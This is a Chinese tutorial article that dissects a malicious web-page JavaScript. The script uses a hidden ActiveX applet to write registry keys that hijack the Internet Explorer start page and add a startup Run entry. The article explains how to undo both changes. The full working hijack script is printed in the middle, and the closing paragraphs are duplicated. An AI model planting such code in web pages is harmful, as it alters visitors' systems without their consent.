歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux資訊 >> 更多Linux

解剖惡意網站代碼,正常IE訪問可能被修改本地注冊表信息

許多網友紛紛指出有的網站不擇手段,當用戶訪問過它們的網頁後,不僅IE默認首 頁被篡改了,而且每次開機後IE都會自動彈出訪問該網站。    我們通過對下面這段javascript程序的解剖,希望讀者能明白其究竟,並掌握修復 的方法。網站應該用豐富精彩的欄目來吸引訪問者,希望通過對用戶注冊表的惡意篡改 來達到提高訪問量的目的不僅會事得其反,更是一種不道德的行為。    本代碼由子昂軒編輯制作,僅供學習研究之用。 <!-- Begin set start page brought to u by JavaHouse.126.com--> <SCRIPT language=JavaScript> document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXCompon ent></APPLET>"); function f(){ try { //ActiveX初始化過程(為達到修改用戶注冊表所必須的准備程序) a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); try { if (documents .cookie.indexOf("Chg") == -1) //以下是檢測用戶注冊表並修改相應的鍵值 { Shl.RegWrite ("HKCU\Software\Microsoft\    Internet EXPlorer\Main\Start Page", "http://JavaHouse.126.com/" );//修改用戶InternetExplorer浏覽器的默認主頁 Shl.RegWrite ("HKCU\Software\Microsoft\Windows\    CurrentVersion\Run\", "http://JavaHouse.126.com/");//建立默認啟 動頁面程序,保證用戶每次啟動計算機首先打開該頁面 var expdate = new Date((new Date()).getTime() + (1)); documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path =/;" } } catch(e) {} } catch(e) {} } function init() { setTimeout("f()", 1000);//實現打開頁面後1秒鐘內執行測試修改注冊表的工作 } init();</SCRIPT> <!--End set start page -->    首先,我們來分析一下這句代碼,程序中使用: Shl.RegWrite ("HKCU\Software\    Microsoft\Internet Explorer\Main\Start Page",    "http://JavaHouse.126.com/");//修改用戶InternetExplorer浏覽器的默認主頁    其實就是修改用戶注冊表中 HKEY_CURRENT_USERSoftwareMicrosoftInternet Explorermain文件夾下Sta rt Page的鍵值, 這裡面的值就是存放的IE浏覽器的默認主頁,如果你想改回來,把上面的相應代碼改為 : Shl.RegWrite ("HKCU\Software\Microsoft\


   Internet Explorer\Main\Start Page", "about:blank");    就可以實現打開IE是空白頁了;當然你也不用動注冊表,直接打開IE修改Internet 選項中的主頁更方便些。    再來看看上述程序最卑鄙的一句代碼:    Shl.RegWrite ("HKCU\Software\Microsoft\    Windows\CurrentVersion\Run\","http://JavaHouse.126.com/");// 建立默認啟動頁面程序,保證用戶每次啟動計算機首先打開該頁面 通過在注冊表中 HKEY_CURRENT_USERSoftwareMicrosoftWindows    CurrentVersionRun    文件夾下建立Windows默認啟動程序,當Windows啟動後,我們會發現這個網頁會自 動打開,但是在“開始”-“程序”-“啟動”中卻找不到,這是為什麼呢?哦,原來 都放到Run這個文件夾下面了。怎麼來修改呢?兩種方法,一是查找源頭,進入注冊表, 刪除Run下面的相應項就可以了;二是在“開始”-“運行”處輸入"msconfig",把啟 動下面相應的那個網站前面的"√"去掉,重新啟動計算機就可以了。    避免此類惡意修改注冊表的再次發生,你可以在IE的安全屬性設置中禁掉ActiveX, 當然在以後的網頁浏覽過程中可能會造成一些正常使用ActiveX的網站無法浏覽。還有一 種辦法就是對於Windows98打開C:WINDOWSJAVAPackagesCVLV1NBB.ZIP,把Acti veXComponent.class刪掉;對於WindowsMe打開C:WINDOWSJAVAPackages5NZVFPF 1.ZIP,把ActiveXComponent.class刪掉。放心,刪除這個組件不會影響你正常浏覽網頁 的。    最後說說在首頁使用這類代碼的網站的目的,像在啟動計算機直接打開網頁的做法 我認為主要是針對寬帶和專線上網的用戶,這樣只要你不修改注冊表禁掉它,你的IE主 頁每次進入系統都會自動被修改成那個網站;對於撥號上網的用戶每次進入系統都開一 個找不到的主頁,也無所謂,至少你不改注冊表,直接修改IE主頁屬性後可以避免被那 種網站再次修改(前提是不再進那個網站),可是每次開機後都彈出個網頁也真是讓人 討厭。    以上代碼適用於Windows9x/Me,InternetExplorer5.X浏覽器,據說對IE6.0無效( 因為它裡面沒有ActiveXComponent.class這個組件),但作者沒有測試過。



veXComponent.class刪掉;對於WindowsMe打開C:WINDOWSJAVAPackages5NZVFPF 1.ZIP,把ActiveXComponent.class刪掉。放心,刪除這個組件不會影響你正常浏覽網頁 的。    最後說說在首頁使用這類代碼的網站的目的,像在啟動計算機直接打開網頁的做法 我認為主要是針對寬帶和專線上網的用戶,這樣只要你不修改注冊表禁掉它,你的IE主 頁每次進入系統都會自動被修改成那個網站;對於撥號上網的用戶每次進入系統都開一 個找不到的主頁,也無所謂,至少你不改注冊表,直接修改IE主頁屬性後可以避免被那 種網站再次修改(前提是不再進那個網站),可是每次開機後都彈出個網頁也真是讓人 討厭。    以上代碼適用於Windows9x/Me,InternetExplorer5.X浏覽器,據說對IE6.0無效( 因為它裡面沒有ActiveXComponent.class這個組件),但作者沒有測試過。



Copyright © Linux教程網 All Rights Reserved